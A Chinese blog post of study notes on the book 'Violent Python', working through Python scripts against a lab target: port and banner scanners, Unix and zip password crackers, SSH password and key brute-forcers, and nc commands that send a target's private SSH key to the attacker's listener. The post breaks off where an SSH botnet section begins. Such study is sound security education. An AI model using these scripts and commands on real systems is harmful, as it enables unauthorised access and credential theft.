Python绝技

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python绝技相关的知识,希望对你有一定的参考价值。

第一章——入门

1、准备开发环境

安装第三方库:

安装Python-nmap包:

wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz

tar -xzf nmap.tar.gz

cd python-nmap-0.2.4/

python setup.py install

当然可以使用easy_install模块实现更简便的安装:easy_install python-nmap


安装其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4

其他几个无法用easy_install命令安装的与蓝牙有关的库:apt-get install python-bluez bluetooth python-obexftp


Python解释与Python交互:

简单地说,Python解释是通过调用Python解释器执行py脚本,而Python交互则是通过在命令行输入python实现交互。


2、Python语言

变量

Python中的字符串、整形数、列表、布尔值以及词典。

技术分享图片


字符串

四个方法:upper()大写输出、lower()小写输出、replace()替换、find()查找

技术分享图片


List(列表)

append()方法向列表添加元素、index()返回元素的索引、remove()删除元素、sort()排序、len()返回列表长度

技术分享图片


词典

keys()返回词典中所有键的列表、items()返回词典中所有项的完整信息的列表

技术分享图片


网络

使用socket模块,connect()方法建立与指定IP和端口的网络连接;revc(1024)方法将读取套接字中接下来的1024B数据

技术分享图片


条件选择语句

if 条件一:
语句一
elif 条件二:
语句二
else:
语句三


异常处理

try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串

技术分享图片

技术分享图片


函数

通过def()关键字定义,示例中定义扫描FTP banner信息的函数:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4.   
  5. def retBanner(ip,port):  
  6.     try:  
  7.         socket.setdefaulttimeout(2)  
  8.         s = socket.socket()  
  9.         s.connect((ip,port))  
  10.         banner = s.recv(1024)  
  11.         return banner  
  12.     except:  
  13.         return  
  14.   
  15. def checkVulns(banner):  
  16.     if ‘vsFTPd‘ in banner:  
  17.         print ‘[+] vsFTPd is vulnerable.‘  
  18.     elif ‘FreeFloat Ftp Server‘ in banner:  
  19.         print ‘[+] FreeFloat Ftp Server is vulnerable.‘  
  20.     else:  
  21.         print ‘[-] FTP Server is not vulnerable.‘  
  22.     return  
  23.   
  24. def main():  
  25.     ips = [‘10.10.10.128‘,‘10.10.10.160‘]  
  26.     port = 21  
  27.     banner1 = retBanner(ips[0],port)  
  28.     if banner1:  
  29.         print ‘[+] ‘ + ips[0] + ": " + banner1.strip(‘\n‘)  
  30.         checkVulns(banner1)  
  31.     banner2 = retBanner(ips[1],port)  
  32.     if banner2:  
  33.         print ‘[+] ‘ + ips[1] + ": " + banner2.strip(‘\n‘)  
  34.         checkVulns(banner2)  
  35.   
  36. if __name__ == ‘__main__‘:  
  37.     main()  

技术分享图片


迭代

for语句

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4.   
  5. def retBanner(ip,port):  
  6.     try:  
  7.         socket.setdefaulttimeout(2)  
  8.         s = socket.socket()  
  9.         s.connect((ip,port))  
  10.         banner = s.recv(1024)  
  11.         return banner  
  12.     except:  
  13.         return  
  14.   
  15. def checkVulns(banner):  
  16.     if ‘vsFTPd‘ in banner:  
  17.         print ‘[+] vsFTPd is vulnerable.‘  
  18.     elif ‘FreeFloat Ftp Server‘ in banner:  
  19.         print ‘[+] FreeFloat Ftp Server is vulnerable.‘  
  20.     else:  
  21.         print ‘[-] FTP Server is not vulnerable.‘  
  22.     return  
  23.   
  24. def main():  
  25.     portList = [21,22,25,80,110,443]  
  26.     ip = ‘10.10.10.128‘  
  27.     for port in portList:  
  28.         banner = retBanner(ip,port)  
  29.         if banner:  
  30.             print ‘[+] ‘ + ip + ‘:‘ + str(port) + ‘--‘ + banner  
  31.             if port == 21:  
  32.                 checkVulns(banner)  
  33.   
  34. if __name__ == ‘__main__‘:  
  35.     main()  

技术分享图片


文件输入/输出

open()打开文件,r只读,r+读写,w新建(会覆盖原有文件),a追加,b二进制文件

同一目录中:

技术分享图片

不同目录中:

从当前目录开始往下查找,前面加上.号

技术分享图片

或者是绝对路径则不用加.号表示从当前目录开始

技术分享图片


sys模块

sys.argv列表中含有所有的命令行参数,sys.argv[0]为Python脚本的名称,其余的都是命令行参数


OS模块

os.path.isfile()检查该文件是否存在

os.access()判断当前用户是否有权限读取该文件

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import sys  
  4. import os  
  5. if len(sys.argv) == 2:  
  6.     filename = sys.argv[1]  
  7.     if not os.path.isfile(filename):  
  8.         print ‘[-] ‘ + filename + ‘ does not exit.‘  
  9.         exit(0)  
  10.     if not os.access(filename,os.R_OK):  
  11.         print ‘[-] ‘ + filename + ‘ access denied.‘  
  12.         exit(0)  
  13.     print ‘[+] Reading From: ‘ + filename  

技术分享图片


整合

将上述各个模块整合起来,实现对目标主机的端口及其banner信息的扫描:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4. import sys  
  5. import os  
  6.   
  7. def retBanner(ip,port):  
  8.     try:  
  9.         socket.setdefaulttimeout(2)  
  10.         s = socket.socket()  
  11.         s.connect((ip,port))  
  12.         banner = s.recv(1024)  
  13.         return banner  
  14.     except:  
  15.         return  
  16.   
  17. def checkVulns(banner,filename):  
  18.     f = open(filename, ‘r‘)  
  19.     for line in f.readlines():  
  20.         if line.strip(‘\n‘) in banner:  
  21.             print ‘[+] Server is vulnerable: ‘ + banner.strip(‘\n‘)  
  22.   
  23. def main():  
  24.   
  25.     if len(sys.argv) == 2:  
  26.   
  27.         filename = sys.argv[1]  
  28.         if not os.path.isfile(filename):  
  29.             print ‘[-] ‘ + filename + ‘ does not exit.‘  
  30.             exit(0)  
  31.   
  32.         if not os.access(filename,os.R_OK):  
  33.             print ‘[-] ‘ + filename + ‘ access denied.‘  
  34.             exit(0)  
  35.   
  36.         print ‘[+] Reading From: ‘ + filename  
  37.     else:  
  38.         print ‘[-] Usage: ‘ + str(sys.argv[0]) + ‘ <vuln filename>‘  
  39.         exit(0)  
  40.   
  41.     portList = [21,22,25,80,110,443]  
  42.     ip = ‘10.10.10.128‘  
  43.     for port in portList:  
  44.         banner = retBanner(ip,port)  
  45.         if banner:  
  46.             print ‘[+] ‘ + ip + ‘:‘ + str(port) + ‘--‘ + banner  
  47.             if port == 21:  
  48.                 checkVulns(banner,filename)  
  49.   
  50. if __name__ == ‘__main__‘:  
  51.     main()  

运行结果:

技术分享图片


3、第一个Python程序

第一个程序:Unix口令破解机

这段代码通过分别读取两个文件,一个为加密口令文件,另一个为用于猜测的字典文件。在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,其中需要一个明文密码以及两个字节的盐,然后再用加密后的信息和加密口令进行比较查看是否相等即可。

先看crypt的示例:

技术分享图片

可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import crypt  
  4.   
  5. def testPass(cryptPass):  
  6.     salt = cryptPass[0:2]  
  7.   
  8.     dictFile = open(‘dictionary.txt‘,‘r‘)  
  9.   
  10.     for word in dictFile.readlines():  
  11.         word = word.strip(‘\n‘)  
  12.         cryptWord = crypt.crypt(word,salt)  
  13.         if cryptWord == cryptPass:  
  14.             print ‘[+] Found Password: ‘ + word + "\n"  
  15.             return  
  16.     print ‘[-] Password not Found.\n‘  
  17.     return  
  18.   
  19. def main():  
  20.     passFile = open(‘passwords.txt‘)  
  21.     for line in passFile.readlines():  
  22.         if ":" in line:  
  23.             user = line.split(‘:‘)[0]  
  24.             cryptPass = line.split(‘:‘)[1].strip(‘ ‘)  
  25.             print ‘[*] Cracking Password For : ‘ + user  
  26.             testPass(cryptPass)  
  27.   
  28. if __name__ == ‘__main__‘:  
  29.     main()  

运行结果:

技术分享图片

在现代的类Unix系统中在/etc/shadow文件中存储了口令的hash,但是更多的是使用SHA-512等更安全的hash算法,如:

技术分享图片

在Python中的hashlib库可以找到SHA-512的函数,这样就可以进一步升级脚本进行口令破解。


第二个程序:一个Zip文件口令破解机

主要使用zipfile库的extractall()方法,其中pwd参数指定密码

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import zipfile  
  4. import optparse  
  5. from threading import Thread  
  6.   
  7. def extractFile(zFile,password):  
  8.     try:  
  9.         zFile.extractall(pwd=password)  
  10.         print ‘[+] Fonud Password : ‘ + password + ‘\n‘  
  11.     except:  
  12.         pass  
  13.   
  14. def main():  
  15.   
  16.     parser = optparse.OptionParser("[*] Usage: ./unzip.py -f <zipfile> -d <dictionary>")  
  17.     parser.add_option(‘-f‘,dest=‘zname‘,type=‘string‘,help=‘specify zip file‘)  
  18.     parser.add_option(‘-d‘,dest=‘dname‘,type=‘string‘,help=‘specify dictionary file‘)  
  19.     (options,args) = parser.parse_args()  
  20.     if (options.zname == None) | (options.dname == None):  
  21.         print parser.usage  
  22.         exit(0)  
  23.   
  24.     zFile = zipfile.ZipFile(options.zname)  
  25.     passFile = open(options.dname)  
  26.     for line in passFile.readlines():  
  27.         line = line.strip(‘\n‘)  
  28.         t = Thread(target=extractFile,args=(zFile,line))  
  29.         t.start()  
  30.   
  31. if __name__ == ‘__main__‘:  
  32.     main()  

代码中导入了optparse库解析命令行参数,调用OptionParser()生成一个参数解析器类的示例,parser.add_option()指定具体解析哪些命令行参数,usage输出的是参数的帮助信息;同时也采用了多线程的方式提高破解速率。

运行结果:

技术分享图片


第二章——用Python进行渗透测试

1、编写一个端口扫描器

TCP全连接扫描、抓取应用的Banner

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. import socket  
  5. from socket import *  
  6.   
  7. def connScan(tgtHost,tgtPort):  
  8.     try:  
  9.         connSkt = socket(AF_INET,SOCK_STREAM)  
  10.         connSkt.connect((tgtHost,tgtPort))  
  11.         connSkt.send(‘ViolentPython\r\n‘)  
  12.         result = connSkt.recv(100)  
  13.         print ‘[+] %d/tcp open‘%tgtPort  
  14.         print ‘[+] ‘ + str(result)  
  15.         connSkt.close()  
  16.     except:  
  17.         print ‘[-] %d/tcp closed‘%tgtPort  
  18.   
  19. def portScan(tgtHost,tgtPorts):  
  20.     try:  
  21.         tgtIP = gethostbyname(tgtHost)  
  22.     except:  
  23.         print "[-] Cannot resolve ‘%s‘ : Unknown host"%tgtHost  
  24.         return  
  25.   
  26.     try:  
  27.         tgtName = gethostbyaddr(tgtIP)  
  28.         print ‘\n[+] Scan Results for: ‘ + tgtName[0]  
  29.     except:  
  30.         print ‘\n[+] Scan Results for: ‘ + tgtIP  
  31.   
  32.     setdefaulttimeout(1)  
  33.   
  34.     for tgtPort in tgtPorts:  
  35.         print ‘Scanning port‘ + tgtPort  
  36.         connScan(tgtHost,int(tgtPort))  
  37.   
  38. def main():  
  39.     parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")  
  40.     parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)  
  41.     parser.add_option(‘-p‘,dest=‘tgtPort‘,type=‘string‘,help=‘specify target port[s]‘)  
  42.     (options,args) = parser.parse_args()  
  43.     tgtHost = options.tgtHost  
  44.     tgtPorts = str(options.tgtPort).split(‘,‘)  
  45.     if (tgtHost == None) | (tgtPorts[0] == None):  
  46.         print parser.usage  
  47.         exit(0)  
  48.     portScan(tgtHost,tgtPorts)  
  49.   
  50. if __name__ == ‘__main__‘:  
  51.     main()  

这段代码实现了命令行参数输入,需要用户输入主机IP和扫描的端口号,其中多个端口号之间可以用,号分割开;若参数输入不为空时(注意检测端口参数列表不为空即检测至少存在第一个值不为空即可)则调用函数进行端口扫描;在portScan()函数中先尝试调用gethostbyname()来从主机名获取IP,若获取不了则解析IP失败程序结束,若成功则继续尝试调用gethostbyaddr()从IP获取主机名相关信息,若获取成功则输出列表的第一项主机名否则直接输出IP,接着遍历端口调用connScan()函数进行端口扫描;在connScan()函数中,socket方法中有两个参数AF_INET和SOCK_STREAM,分别表示使用IPv4地址和TCP流,这两个参数是默认的,在上一章的代码中没有添加但是默认是这两个参数,其余的代码和之前的差不多了。

注意一个小问题就是,设置命令行参数的时候,是已经默认添加了-h和--help参数来提示参数信息的,如果在host参数使用-h的话就会出现错误,因而要改为用大写的H即书上的“-H”即可。

运行结果:

技术分享图片


线程扫描

将上一小节的代码修改一下,添加线程实现,同时为了让一个函数获得完整的屏幕控制权,这里使用一个信号量semaphore,它能够阻止其他线程运行而避免出现多线程同时输出造成的乱码和失序等情况。在打印输出前带调用screenLock.acquire()函数执行一个加锁操作,若信号量还没被锁定则线程有权继续运行并输出打印到屏幕上,若信号量被锁定则只能等待直到信号量被释放。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. import socket  
  5. from socket import *  
  6. from threading import *  
  7.   
  8. #定义一个信号量  
  9. screenLock = Semaphore(value=1)  
  10.   
  11. def connScan(tgtHost,tgtPort):  
  12.     try:  
  13.         connSkt = socket(AF_INET,SOCK_STREAM)  
  14.         connSkt.connect((tgtHost,tgtPort))  
  15.         connSkt.send(‘ViolentPython\r\n‘)  
  16.         result = connSkt.recv(100)  
  17.   
  18.         #执行一个加锁操作  
  19.         screenLock.acquire()  
  20.   
  21.         print ‘[+] %d/tcp open‘%tgtPort  
  22.         print ‘[+] ‘ + str(result)  
  23.     except:  
  24.         #执行一个加锁操作  
  25.         screenLock.acquire()  
  26.         print ‘[-] %d/tcp closed‘%tgtPort  
  27.     finally:  
  28.         #执行释放锁的操作,同时将socket的连接在其后关闭  
  29.         screenLock.release()  
  30.         connSkt.close()  
  31.   
  32. def portScan(tgtHost,tgtPorts):  
  33.     try:  
  34.         tgtIP = gethostbyname(tgtHost)  
  35.     except:  
  36.         print "[-] Cannot resolve ‘%s‘ : Unknown host"%tgtHost  
  37.         return  
  38.   
  39.     try:  
  40.         tgtName = gethostbyaddr(tgtIP)  
  41.         print ‘\n[+] Scan Results for: ‘ + tgtName[0]  
  42.     except:  
  43.         print ‘\n[+] Scan Results for: ‘ + tgtIP  
  44.   
  45.     setdefaulttimeout(1)  
  46.   
  47.     for tgtPort in tgtPorts:  
  48.         t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))  
  49.         t.start()  
  50.   
  51. def main():  
  52.     parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")  
  53.     parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)  
  54.     parser.add_option(‘-p‘,dest=‘tgtPort‘,type=‘string‘,help=‘specify target port[s]‘)  
  55.     (options,args) = parser.parse_args()  
  56.     tgtHost = options.tgtHost  
  57.     tgtPorts = str(options.tgtPort).split(‘,‘)  
  58.     if (tgtHost == None) | (tgtPorts[0] == None):  
  59.         print parser.usage  
  60.         exit(0)  
  61.     portScan(tgtHost,tgtPorts)  
  62.   
  63. if __name__ == ‘__main__‘:  
  64.     main()  

运行结果:

技术分享图片

从结果可以看到,使用多线程之后端口的扫描并不是按输入的顺序进行的了,而是同时进行,但是因为有信号量实现加锁等操作所以输出的结果并没有出现乱码等情况。


使用nmap端口扫描代码

如果在前面没有下载该模块,则需要先到http://xael.org/pages/python-nmap-en.html中下载Python-Nmap

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import nmap  
  4. import optparse  
  5.   
  6. def nmapScan(tgtHost,tgtPort):  
  7.     #创建一个PortScanner()类对象  
  8.     nmScan = nmap.PortScanner()  
  9.   
  10.     #调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描  
  11.     nmScan.scan(tgtHost,tgtPort)  
  12.   
  13.     #输出扫描结果中的状态信息  
  14.     state = nmScan[tgtHost][‘tcp‘][int(tgtPort)][‘state‘]  
  15.     print ‘[*] ‘ + tgtHost + " tcp/" + tgtPort + " " + state  
  16.   
  17. def main():  
  18.     parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")  
  19.     parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)  
  20.     parser.add_option(‘-p‘,dest=‘tgtPorts‘,type=‘string‘,help=‘specify target port[s]‘)   
  21.     (options,args)=parser.parse_args()  
  22.     tgtHost = options.tgtHost  
  23.     tgtPorts = str(options.tgtPorts).split(‘,‘)  
  24.     if (tgtHost == None) | (tgtPorts[0] == None):  
  25.         print parser.usage  
  26.         exit(0)  
  27.     for tgtPort in tgtPorts:  
  28.         nmapScan(tgtHost,tgtPort)  
  29.   
  30. if __name__ == ‘__main__‘:    
  31.     main()  

运行结果:

技术分享图片


2、用Python构建一个SSH僵尸网络

用Pexpect与SSH交互

若在前面第一章的时候没有下载,则需要先下载Pexpect:https://pypi.python.org/pypi/pexpect/

Pexpect模块可以实现与程序交互、等待预期的屏幕输出并据此作出不同的响应。

先进行正常的ssh连接测试:

技术分享图片

模仿这个流程,代码如下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pexpect  
  4.   
  5. #SSH连接成功时的命令行交互窗口中前面的提示字符的集合  
  6. PROMPT = [‘# ‘,‘>>> ‘,‘> ‘,‘\$ ‘]  
  7.   
  8. def send_command(child,cmd):  
  9.     #发送一条命令  
  10.     child.sendline(cmd)  
  11.   
  12.     #期望有命令行提示字符出现  
  13.     child.expect(PROMPT)  
  14.   
  15.     #将之前的内容都输出  
  16.     print child.before  
  17.   
  18. def connect(user,host,password):  
  19.     #表示主机已使用一个新的公钥的消息  
  20.     ssh_newkey = ‘Are you sure you want to continue connecting‘  
  21.     connStr = ‘ssh ‘ + user + ‘@‘ + host  
  22.   
  23.     #为ssh命令生成一个spawn类的对象  
  24.     child = pexpect.spawn(connStr)  
  25.   
  26.     #期望有ssh_newkey字符、提示输入密码的字符出现,否则超时  
  27.     ret = child.expect([pexpect.TIMEOUT,ssh_newkey,‘[P|p]assword: ‘])  
  28.   
  29.     #匹配到超时TIMEOUT  
  30.     if ret == 0:  
  31.         print ‘[-] Error Connecting‘  
  32.         return  
  33.   
  34.     #匹配到ssh_newkey  
  35.     if ret == 1:  
  36.         #发送yes回应ssh_newkey并期望提示输入密码的字符出现  
  37.         child.sendline(‘yes‘)  
  38.         ret = child.expect([pexpect.TIMEOUT,‘[P|p]assword: ‘])  
  39.   
  40.     #匹配到超时TIMEOUT  
  41.     if ret == 0:  
  42.         print ‘[-] Error Connecting‘  
  43.         return  
  44.   
  45.     #发送密码  
  46.     child.sendline(password)  
  47.     child.expect(PROMPT)      
  48.     return child  
  49.   
  50. def main():  
  51.     host=‘10.10.10.128‘  
  52.     user=‘msfadmin‘  
  53.     password=‘msfadmin‘  
  54.     child=connect(user,host,password)  
  55.     send_command(child,‘uname -a‘)  
  56.   
  57. if __name__ == ‘__main__‘:  
  58.     main()  

这段代码没有进行命令行参数的输入以及没有实现命令行交互。

运行结果:

技术分享图片

书上提到了BackTrack中的运行,也来测试一下吧:

在BT5中生成ssh-key并启动SSH服务:

sshd-generate

service ssh start

./sshScan.py

技术分享图片


【个人修改的代码】

这段代码可以进一步改进一下,下面的是个人改进的代码,实现了参数化输入以及命令行shell交互的形式:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pexpect  
  4. from optparse import OptionParser  
  5.   
  6. #SSH连接成功时的命令行交互窗口中的提示符的集合  
  7. PROMPT = [‘# ‘,‘>>> ‘,‘> ‘,‘\$ ‘]  
  8.   
  9. def send_command(child,cmd):  
  10.     #发送一条命令  
  11.     child.sendline(cmd)  
  12.   
  13.     #期望有命令行提示字符出现  
  14.     child.expect(PROMPT)  
  15.   
  16.     #将之前的内容都输出  
  17.     print child.before.split(‘\n‘)[1]  
  18.   
  19. def connect(user,host,password):  
  20.     #表示主机已使用一个新的公钥的消息  
  21.     ssh_newkey = ‘Are you sure you want to continue connecting‘  
  22.     connStr = ‘ssh ‘ + user + ‘@‘ + host  
  23.   
  24.     #为ssh命令生成一个spawn类的对象  
  25.     child = pexpect.spawn(connStr)  
  26.   
  27.     #期望有ssh_newkey字符、提示输入密码的字符出现,否则超时  
  28.     ret = child.expect([pexpect.TIMEOUT,ssh_newkey,‘[P|p]assword: ‘])  
  29.   
  30.     #匹配到超时TIMEOUT  
  31.     if ret == 0:  
  32.         print ‘[-] Error Connecting‘  
  33.         return  
  34.   
  35.     #匹配到ssh_newkey  
  36.     if ret == 1:  
  37.         #发送yes回应ssh_newkey并期望提示输入密码的字符出现  
  38.         child.sendline(‘yes‘)  
  39.         ret = child.expect([pexpect.TIMEOUT,ssh_newkey,‘[P|p]assword: ‘])  
  40.   
  41.     #匹配到超时TIMEOUT  
  42.     if ret == 0:  
  43.         print ‘[-] Error Connecting‘  
  44.         return  
  45.   
  46.     #发送密码  
  47.     child.sendline(password)  
  48.     child.expect(PROMPT)      
  49.     return child  
  50.   
  51. def main():  
  52.     parser = OptionParser("[*] Usage : ./sshCommand2.py -H <target host> -u <username> -p <password>")  
  53.     parser.add_option(‘-H‘,dest=‘host‘,type=‘string‘,help=‘specify target host‘)  
  54.     parser.add_option(‘-u‘,dest=‘username‘,type=‘string‘,help=‘target username‘)  
  55.     parser.add_option(‘-p‘,dest=‘password‘,type=‘string‘,help=‘target password‘)  
  56.     (options,args) = parser.parse_args()  
  57.   
  58.     if (options.host == None) | (options.username == None) | (options.password == None):  
  59.         print parser.usage  
  60.         exit(0)  
  61.   
  62.     child=connect(options.username,options.host,options.password)  
  63.       
  64.     while True:  
  65.         command = raw_input(‘<SSH> ‘)  
  66.         send_command(child,command)  
  67.   
  68. if __name__ == ‘__main__‘:  
  69.     main()  

这样就可以指定目标主机进行SSH连接并实现了SSH一样的命令行交互体验了:

技术分享图片


用Pxssh暴力破解SSH密码

pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。

prompt(self,timeout=20)方法用于匹配新提示符

使用pxssh替代上一小节的脚本:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from pexpect import pxssh  
  4.   
  5. def send_command(s,cmd):  
  6.   
  7.     s.sendline(cmd)  
  8.     #匹配prompt(提示符)  
  9.     s.prompt()  
  10.     #将prompt前所有内容打印出  
  11.     print s.before  
  12.   
  13. def connect(host,user,password):  
  14.     try:  
  15.         s = pxssh.pxssh()  
  16.         #利用pxssh类的login()方法进行ssh登录  
  17.         s.login(host,user,password)  
  18.         return s  
  19.     except:  
  20.         print ‘[-] Error Connecting‘  
  21.         exit(0)  
  22.   
  23. s = connect(‘10.10.10.128‘,‘msfadmin‘,‘msfadmin‘)  
  24. send_command(s,‘uname -a‘)  

一开始遇到一个问题,就是直接按书上的敲import pxssh会显示出错,但是明明已经安装了这个文件,查看资料发现是pxssh是在pexpect包中的,所以将其改为from pexpect import pxssh就可以了。

运行结果:

技术分享图片

接着继续修改代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from pexpect import pxssh  
  4. import optparse  
  5. import time  
  6. from threading import *  
  7.   
  8. maxConnections = 5  
  9. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限  
  10. connection_lock = BoundedSemaphore(value=maxConnections)  
  11. Found = False  
  12. Fails = 0  
  13.   
  14. def connect(host,user,password,release):  
  15.   
  16.     global Found  
  17.     global Fails  
  18.   
  19.     try:  
  20.         s = pxssh.pxssh()  
  21.         #利用pxssh类的login()方法进行ssh登录  
  22.         s.login(host,user,password)  
  23.         print ‘[+] Password Found: ‘ + password  
  24.         Found = True  
  25.     except Exception, e:  
  26.         #SSH服务器可能被大量的连接刷爆,等待一会再连接  
  27.         if ‘read_nonblocking‘ in str(e):  
  28.             Fails += 1  
  29.             time.sleep(5)  
  30.             #递归调用的connect(),不可释放锁  
  31.             connect(host,user,password,False)  
  32.         #显示pxssh命令提示符提取困难,等待一会再连接  
  33.         elif ‘synchronize with original prompt‘ in str(e):  
  34.             time.sleep(1)  
  35.             #递归调用的connect(),不可释放锁  
  36.             connect(host,user,password,False)  
  37.     finally:  
  38.         if release:  
  39.             #释放锁  
  40.             connection_lock.release()  
  41.   
  42. def main():  
  43.     parser = optparse.OptionParser(‘[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>‘)  
  44.     parser.add_option(‘-H‘,dest=‘host‘,type=‘string‘,help=‘specify target host‘)  
  45.     parser.add_option(‘-u‘,dest=‘username‘,type=‘string‘,help=‘target username‘)  
  46.     parser.add_option(‘-f‘,dest=‘file‘,type=‘string‘,help=‘specify password file‘)  
  47.     (options,args) = parser.parse_args()  
  48.   
  49.     if (options.host == None) | (options.username == None) | (options.file == None):  
  50.         print parser.usage  
  51.         exit(0)  
  52.   
  53.     host = options.host  
  54.     username = options.username  
  55.     file = options.file  
  56.   
  57.     fn = open(file,‘r‘)  
  58.     for line in fn.readlines():  
  59.   
  60.         if Found:  
  61.             print ‘[*] Exiting: Password Found‘  
  62.             exit(0)  
  63.   
  64.         if Fails > 5:  
  65.             print ‘[!] Exiting: Too Many Socket Timeouts‘  
  66.             exit(0)  
  67.   
  68.         #加锁  
  69.         connection_lock.acquire()  
  70.   
  71.         #去掉换行符,其中Windows为‘\r\n‘,Linux为‘\n‘  
  72.         password = line.strip(‘\r‘).strip(‘\n‘)  
  73.         print ‘[-] Testing: ‘ + str(password)  
  74.   
  75.         #这里不是递归调用的connect(),可以释放锁  
  76.         t = Thread(target=connect,args=(host,username,password,True))  
  77.         child = t.start()  
  78.   
  79. if __name__ ==‘__main__‘:  
  80.     main()  

Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。

Semaphore:  在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)

BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数

运行结果:

技术分享图片


利用SSH中的弱密钥

使用密钥登录ssh时,格式为:ssh [email protected] -i keyfile -o PasswordAuthentication=no

本来是要到这个网站中去下载ssh的私钥压缩包的:http://digitaloffense.net/tools/debianopenssl/

但是由于时间有点久已经没有该站点可以下载了。

为了进行测试就到靶机上将该ssh的rsa文件通过nc传过来:

Kali先开启nc监听:nc -lp 4444 > id_rsa

然后靶机Metasploitable进入ssh的dsa目录,将id_rsa文件而不是id_rsa.:

cd .ssh

nc -nv 10.10.10.160 4444 -q 1 < id_rsa

下面这段脚本主要是逐个使用指定目录中生成的密钥来尝试进行连接。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pexpect  
  4. import optparse  
  5. import os  
  6. from threading import *  
  7.   
  8. maxConnections = 5  
  9. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限  
  10. connection_lock = BoundedSemaphore(value=maxConnections)  
  11. Stop = False  
  12. Fails = 0  
  13.   
  14. def connect(host,user,keyfile,release):  
  15.   
  16.     global Stop  
  17.     global Fails  
  18.   
  19.     try:  
  20.         perm_denied = ‘Permission denied‘  
  21.         ssh_newkey = ‘Are you sure you want to continue‘  
  22.         conn_closed = ‘Connection closed by remote host‘  
  23.         opt = ‘ -o PasswordAuthentication=no‘  
  24.         connStr = ‘ssh ‘ + user + ‘@‘ + host + ‘ -i ‘ + keyfile + opt  
  25.         child = pexpect.spawn(connStr)  
  26.         ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,‘$‘,‘#‘, ])  
  27.         #匹配到ssh_newkey  
  28.         if ret == 2:  
  29.             print ‘[-] Adding Host to ~/.ssh/known_hosts‘  
  30.             child.sendline(‘yes‘)  
  31.             connect(user, host, keyfile, False)  
  32.         #匹配到conn_closed  
  33.         elif ret == 3:  
  34.             print ‘[-] Connection Closed By Remote Host‘  
  35.             Fails += 1  
  36.         #匹配到提示符‘$‘,‘#‘,  
  37.         elif ret > 3:  
  38.             print ‘[+] Success. ‘ + str(keyfile)  
  39.             Stop = True  
  40.     finally:  
  41.         if release:  
  42.             #释放锁  
  43.             connection_lock.release()  
  44.   
  45. def main():  
  46.     parser = optparse.OptionParser(‘[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>‘)  
  47.     parser.add_option(‘-H‘,dest=‘host‘,type=‘string‘,help=‘specify target host‘)  
  48.     parser.add_option(‘-u‘,dest=‘username‘,type=‘string‘,help=‘target username‘)  
  49.     parser.add_option(‘-d‘,dest=‘passDir‘,type=‘string‘,help=‘specify directory with keys‘)  
  50.     (options,args) = parser.parse_args()  
  51.   
  52.     if (options.host == None) | (options.username == None) | (options.passDir == None):  
  53.         print parser.usage  
  54.         exit(0)  
  55.   
  56.     host = options.host  
  57.     username = options.username  
  58.     passDir = options.passDir  
  59.   
  60.     #os.listdir()返回指定目录下的所有文件和目录名  
  61.     for filename in os.listdir(passDir):  
  62.         if Stop:  
  63.             print ‘[*] Exiting: Key Found.‘  
  64.             exit(0)  
  65.         if Fails > 5:  
  66.             print ‘[!] Exiting: Too Many Connections Closed By Remote Host.‘  
  67.             print ‘[!] Adjust number of simultaneous threads.‘  
  68.             exit(0)  
  69.         #加锁  
  70.         connection_lock.acquire()  
  71.   
  72.         #连接目录与文件名或目录  
  73.         fullpath = os.path.join(passDir,filename)  
  74.         print ‘[-] Testing keyfile ‘ + str(fullpath)  
  75.         t = Thread(target=connect,args=(username,host,fullpath,True))  
  76.         child = t.start()  
  77.   
  78. if __name__ ==‘__main__‘:  
  79.     main()  

运行结果:

技术分享图片


构建SSH僵尸网络

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
